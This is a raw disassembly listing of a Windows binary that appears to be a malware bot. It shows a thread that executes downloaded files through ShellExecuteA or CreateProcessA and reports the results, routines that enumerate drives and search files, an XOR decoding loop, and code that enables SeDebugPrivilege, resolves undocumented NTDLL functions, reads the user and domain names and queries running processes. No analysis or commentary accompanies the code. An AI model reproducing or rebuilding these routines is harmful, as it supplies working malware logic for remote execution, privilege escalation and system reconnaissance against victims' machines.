		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_428070	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41B721
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416C39
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AA
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416C39
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_43A640
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		add	esp, 28h


loc_416C39:				; CODE XREF: sub_4169AB+236j
					; sub_4169AB+248j
		cmp	[ebp+var_14], esi
		jz	loc_416E71
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_416D34
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_428698
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_428698
		fstp	[esp+590h+var_590]
		push	offset dword_43A5D8
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416CB4
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		add	esp, 14h


loc_416CB4:				; CODE XREF: sub_4169AB+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_416E71
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CE274	; ShellExecuteA
		cmp	[ebp+var_30], esi
		jnz	loc_416E71
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_43A598
		push	eax
		call	sub_41BEF6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		add	esp, 24h
		jmp	loc_416E71
; ---------------------------------------------------------------------------


loc_416D34:				; CODE XREF: sub_4169AB+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_428698
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_428698
		fstp	[esp+590h+var_590]
		push	offset dword_43A518
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416D94
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		add	esp, 14h


loc_416D94:				; CODE XREF: sub_4169AB+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BC00
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC00
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_4404C4
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_428074	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_416E16
		call	dword_4CE260	; WSACleanup
		call	sub_4189E4
		push	esi
		call	dword_42806C	; ExitProcess


loc_416E16:				; CODE XREF: sub_4169AB+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset dword_43A4B0
		jmp	short loc_416E30
; ---------------------------------------------------------------------------


loc_416E24:				; CODE XREF: sub_4169AB+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset dword_43A458


loc_416E30:				; CODE XREF: sub_4169AB+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416E64
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409743
		add	esp, 14h


loc_416E64:				; CODE XREF: sub_4169AB+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415F45
		pop	ecx


loc_416E71:				; CODE XREF: sub_4169AB+291j
					; sub_4169AB+31Aj ...
		push	[ebp+var_18]
		call	dword_4CE33C	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B56A
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
sub_4169AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416E8A	proc near		; CODE XREF: sub_4169AB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416EA6


loc_416E96:				; CODE XREF: sub_416E8A+1Aj
		mov	dl, byte_42A980
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416E96

locret_416EA6:				; CODE XREF: sub_416E8A+Aj
		retn
sub_416E8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416EA7	proc near		; CODE XREF: sub_401AA1+573Fp
					; sub_401AA1+587Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DA5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416EA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EC1	proc near		; CODE XREF: sub_41061F+462p
					; sub_41061F+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D5EF8
		push	0
		push	edi
		call	sub_41BC00
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416EE6:				; CODE XREF: sub_416EC1+5Bj
					; sub_416EC1+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DB20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DAB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416F24
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416EE6
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416EE6
; ---------------------------------------------------------------------------


loc_416F24:				; CODE XREF: sub_416EC1+4Bj
		mov	eax, edi
		jmp	short loc_416F2D
; ---------------------------------------------------------------------------


loc_416F28:				; CODE XREF: sub_416EC1+72j
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_416F2D:				; CODE XREF: sub_416EC1+65j
		dec	esi
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jnb	short loc_416F28
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F3F	proc near		; CODE XREF: sub_4170EB+51p
					; sub_4170EB+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CE368	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_416F82
		dec	eax
		jz	short loc_416F7C
		dec	eax
		dec	eax
		jz	short loc_416F76
		dec	eax
		jz	short loc_416F70
		dec	eax
		jz	short loc_416F6A
		dec	eax
		jz	short loc_416F64
		mov	eax, offset word_43A7FC
		retn
; ---------------------------------------------------------------------------


loc_416F64:				; CODE XREF: sub_416F3F+1Dj
		mov	eax, offset off_43A7F8
		retn
; ---------------------------------------------------------------------------


loc_416F6A:				; CODE XREF: sub_416F3F+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416F3F+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416F76:				; CODE XREF: sub_416F3F+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416F7C:				; CODE XREF: sub_416F3F+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416F82:				; CODE XREF: sub_416F3F+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416F3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F88	proc near		; CODE XREF: sub_416FD0+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CE1F8
		test	eax, eax
		jz	short loc_416FBD
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416FBD:				; CODE XREF: sub_416F88+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FD0	proc near		; CODE XREF: sub_4170EB+17p
					; sub_41B0A1+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416F88
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4170A8
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4170A8
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4170A8
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DBA0
		push	edx
		push	eax
		call	sub_416EC1
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DBA0
		push	edx
		push	eax
		call	sub_416EC1
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DBA0
		push	edx
		push	eax
		call	sub_416EC1
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 18h
		pop	ebx
		jmp	short loc_4170D7
; ---------------------------------------------------------------------------


loc_4170A8:				; CODE XREF: sub_416FD0+2Cj
					; sub_416FD0+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41BEF6
		add	esp, 18h


loc_4170D7:				; CODE XREF: sub_416FD0+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170EB	proc near		; CODE XREF: sub_4171BD+17p
					; sub_4171BD+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416FD0
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C6E0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41715E
		push	ebx
		push	ebx
		call	sub_416F3F
		pop	ecx
		push	eax
		push	offset dword_43A868
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		jmp	short loc_417192
; ---------------------------------------------------------------------------


loc_41715E:				; CODE XREF: sub_4170EB+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416F3F
		pop	ecx
		push	eax
		push	offset dword_43A810
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 20h


loc_417192:				; CODE XREF: sub_4170EB+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415F45
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4170EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171BD	proc near		; CODE XREF: sub_401AA1+24F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4171DE
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4170EB
		add	esp, 10h
		jmp	short loc_41723D
; ---------------------------------------------------------------------------


loc_4171DE:				; CODE XREF: sub_4171BD+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CE270	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41BB45
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CE270	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417234


loc_417202:				; CODE XREF: sub_4171BD+75j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417225
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4170EB
		add	esp, 10h


loc_417225:				; CODE XREF: sub_4171BD+54j
		push	esi
		call	sub_41B650
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_417202


loc_417234:				; CODE XREF: sub_4171BD+43j
		push	edi
		call	sub_41B721
		pop	ecx
		pop	edi
		pop	esi


loc_41723D:				; CODE XREF: sub_4171BD+1Fj
		pop	ebx
		pop	ebp
		retn
sub_4171BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417240	proc near		; DATA XREF: sub_401AA1+676Do

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B650
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_417295
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B650
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_417295:				; CODE XREF: sub_417240+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_43A8E4
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4172DA
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409743
		add	esp, 14h


loc_4172DA:				; CODE XREF: sub_417240+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_417358
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_43A8C4
		push	eax
		call	sub_41BEF6
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_417338
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409743
		add	esp, 14h


loc_417338:				; CODE XREF: sub_417240+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_417240	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417358	proc near		; CODE XREF: sub_417240+B9p
					; sub_417358+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset dword_43A928
		push	esi
		push	eax
		call	sub_41BFF0
		mov	edi, dword_428128
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset dword_42B470
		jz	short loc_417415


loc_4173A4:				; CODE XREF: sub_417358+BBj
		test	[ebp+var_144], 10h
		jz	short loc_417401
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4173C8
		cmp	[ebp+var_117], 0
		jz	short loc_417401
		cmp	[ebp+var_117], 2Eh
		jz	short loc_417401


loc_4173C8:				; CODE XREF: sub_417358+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41BFF0
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417358
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_417401:				; CODE XREF: sub_417358+53j
					; sub_417358+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_428124	; FindNextFileA
		test	eax, eax
		jnz	short loc_4173A4


loc_417415:				; CODE XREF: sub_417358+4Aj
		push	[ebp+var_4]
		call	dword_42811C	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41BFF0
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41749B


loc_41744C:				; CODE XREF: sub_417358+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset dword_43A90C
		push	200h
		push	eax
		call	sub_41BFF0
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_428124	; FindNextFileA
		test	eax, eax
		jnz	short loc_41744C


loc_41749B:				; CODE XREF: sub_417358+F2j
		push	esi
		call	dword_42811C	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174AA	proc near		; DATA XREF: sub_401AA1+1C29o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+90h], esi
		call	sub_41AF54
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_4174E9
		cmp	eax, 2
		jz	short loc_4174E9
		push	offset unk_43AB00
		jmp	loc_417628
; ---------------------------------------------------------------------------


loc_4174E9:				; CODE XREF: sub_4174AA+2Ej
					; sub_4174AA+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419CCF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417623
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4280C0	; LoadLibraryA
		mov	esi, dword_4280C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D713C, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D7130, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D7340, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D7138, eax
		call	esi	; GetProcAddress
		mov	dword_4D7134, eax
		call	sub_41767C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4175F6
		mov	esi, dword_42814C
		mov	edi, 400h
		mov	ebx, offset dword_4D6130
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4D6930
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D7344
		push	[ebp+arg_0]
		jnz	short loc_4175A2
		call	sub_417805
		jmp	short loc_4175A7
; ---------------------------------------------------------------------------


loc_4175A2:				; CODE XREF: sub_4174AA+EFj
		call	sub_4179A9


loc_4175A7:				; CODE XREF: sub_4174AA+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4175EF
		cmp	dword_4D7344, 0
		jnz	short loc_4175D6
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_43A9C8
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 18h
		jmp	short loc_417609
; ---------------------------------------------------------------------------


loc_4175D6:				; CODE XREF: sub_4174AA+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4175E6
		call	sub_417AD6
		jmp	short loc_4175EB
; ---------------------------------------------------------------------------


loc_4175E6:				; CODE XREF: sub_4174AA+133j
		call	sub_417B6D


loc_4175EB:				; CODE XREF: sub_4174AA+13Aj
		pop	ecx
		push	eax
		jmp	short loc_4175FB
; ---------------------------------------------------------------------------


loc_4175EF:				; CODE XREF: sub_4174AA+101j
		push	offset unk_43A990
		jmp	short loc_4175FB
; ---------------------------------------------------------------------------


loc_4175F6:				; CODE XREF: sub_4174AA+B6j
		push	offset unk_43A964


loc_4175FB:				; CODE XREF: sub_4174AA+143j
					; sub_4174AA+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_417609:				; CODE XREF: sub_4174AA+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419CCF
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_428148	; FreeLibrary
		pop	ebx
		jmp	short loc_417636
; ---------------------------------------------------------------------------


loc_417623:				; CODE XREF: sub_4174AA+4Ej
		push	offset unk_43A930


loc_417628:				; CODE XREF: sub_4174AA+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_417636:				; CODE XREF: sub_4174AA+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_41765D
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409743
		add	esp, 14h


loc_41765D:				; CODE XREF: sub_4174AA+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415F45
		push	[ebp+var_18]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_4174AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41767C	proc near		; CODE XREF: sub_4174AA+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_428158
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_428154
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D713C	; ZwQuerySystemInformation
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428150	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
